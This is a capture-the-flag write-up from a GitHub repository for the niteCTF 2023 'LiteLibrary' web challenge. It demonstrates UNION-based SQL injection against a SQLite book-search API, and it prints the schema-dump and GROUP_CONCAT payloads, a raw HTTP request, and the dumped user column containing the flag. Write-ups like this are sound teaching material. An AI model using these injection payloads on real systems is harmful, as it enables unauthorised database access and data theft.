

daffainfo / ctf-writeup

Q Type to search

>

+ ▾

🕒

🔗

📧

<> Code🕒 Issues🔗 Pull requests🕒 Actions📁 Projects🛡 Security📄 Insights

Files

main

+

Q

Go to filet

> .github

> 2023

> 0ByteCTF 2023

> 0xL4ugh CTF 2023

> 1337UP LIVE CTF

> 24h@CTF 2023

> ASC Cyber Wargames Qualificat...

> AmateursCTF 2023

> BDSec CTF 2023

> BYUCTF 2023

> BlueHens CTF 2023

ctf-writeup / 2023 / niteCTF 2023 / LiteLibrary / 📄

daffainfo

feat: grouped the challs❌e6c48e5 · last month🕒 History

| Name      | Last commit message      | Last commit date |
|-----------|--------------------------|------------------|
| ..        |                          |                  |
| images    | feat: grouped the challs | last month       |
| README.md | feat: grouped the challs | last month       |

README.md🖋 ⋮

## 🔗 LiteLibrary

Testing in prod. No worries are long as we are lighte :)

Testing in prod. No worries are long as we are lighte :)

### About the Challenge

We were given a website without the source code, and this website only has 1 functionality which is search book

The

The Divine Comedy

Dante Alighieri

928 pages

☆👁🗑

sent their own opinion regarding the authors ideas included in the book or passage they are a form of literary criticism that analyzes the authors ideas writing techniques and quality a book analysi

### How to Solve?

the first vulnerability that comes to my mind is SQL injection. First, I tried UNION-based SQL injection:

```
' UNION SELECT 1,2,3,4,5-- -
```

←→🔄⚠ Not Secure

litelibrary.web.nitectf.live/api/search?q=the%27%20union%20select%201,2,3,4,5--%20-

[{"title":1,"author":2,"pages":3,"imageLink":4,"link":5}]

And then i tried to dump the table structure using this payload

```
' UNION SELECT 1,2,3,(SELECT sql FROM sqlite_schema limit),5-- -
```

There are 2 tables here:

- CREATE TABLE BOOKS (title TEXT, author TEXT, pages TEXT, imageLink TEXT, link TEXT)
- CREATE TABLE USERS (litelId TEXT, liteUsername TEXT, gender TEXT, liteNick TEXT, litePass TEXT, dateCreated TEXT)

←→🔄⚠ Not Secure

litelibrary.web.nitectf.live/api/search?q=d%27%20union%20select%201,2,3,(SELECT%20sql%20FROM%20sqlite\_schema%20limit%201%20offset%2...

[{"title":1,"author":2,"pages":3,"imageLink":"CREATE TABLE USERS (liteId TEXT, liteUsername TEXT, gender TEXT, liteNick TEXT, litePass TEXT, dateCreated TEXT)","link":5}]

And then dump everything using group\_concat() function and we can get the flag inside liteNick columns

1 GET /api/search?q=d'%20union%20select%201%2c2%2c3%2c(SELECT%20GROUP\_CONCAT(liteNick)%20from%20users)%2c5--%20- HTTP/1.1

2 Host: litelibrary.web.nitectf.live

3 Cache-Control: max-age=0

4 Upgrade-Insecure-Requests: 1

5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36

6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7

7 Accept-Encoding: gzip, deflate, br

8

9

egory5542062, consue lo306/42, millicent2186802, sharron4952622, micias6874966, bradshaw7024223, moore4479889, shaw2676353, oneill3917800, powers8690516, earnestine6645535, paulette7522201, dotson3912053, lindsay3531831, mcleod8797009, lauren8536802, moreno2670795, campbell6816593, shelton7184870, small5559029, elsie9932472, perry9509025, carter5730718, claudine9975913, eaton3327941, clemnts8463315, valeria2666678, wynn3283719, mccray6032298, nicole9944281, manning2045219, carla247323, buckner2321603, ramos497233, whitney1933457, romero2232887, karin9260886, tammie8080724, beverly7070264, emerson311527, klein7406787, evangelina9290989, stevenson279824, paige5636020, glenn2413218, lee4167479, hampton2362060, burns1644135, garza7326036, mccullough7274635, curtis9783275, brigitte2970143, knowles5040069, barron1798740, lourdes5478744, reyna7793445, schneider2913, grimes6524287, hart1512508, shields5446037, clarke2653576, karina7701615, yang2718578, marcia3453167, campos4838983, goldie4139591, warren4567896, winters781241, tammi6513441, lorna7725082, kaitlin273489, lloyd8274440, anita5423322, dicke rson1784669, mayra4206843, sanford1265009, harper9087769, kendra5659968, guerra2846023, acosta719122, hicks4052625, stein6064166, Wright355782, saundra7158702, laurie4144590, lena2562690, blackwel l3671128, nite{t00\_l1t3\_huh\_50m30n3\_g37\_an71\_g2av17y\_0v3r\_h3r3}, lynne9001248, sadie2516667, alicia3374493, sheryl8812094, bryan4105210, megan2046801, mcknight8574733, rice3984225, mosley4740322, jones8382393, vanessa6360898, edna143646, jacklyn4193375, aguilar3069848, odom4658909, medina31438p3, marian8930094, munoz3243079, mamie1230954, bryant8991065, deann1823205, rebecca8841382, dele on8849610, steele7834384, kimberley214164, claire7966994, rodrigu

nite{t00\_l1t3\_huh\_50m30n3\_g37\_an71\_g2av17y\_0v3r\_h3r3}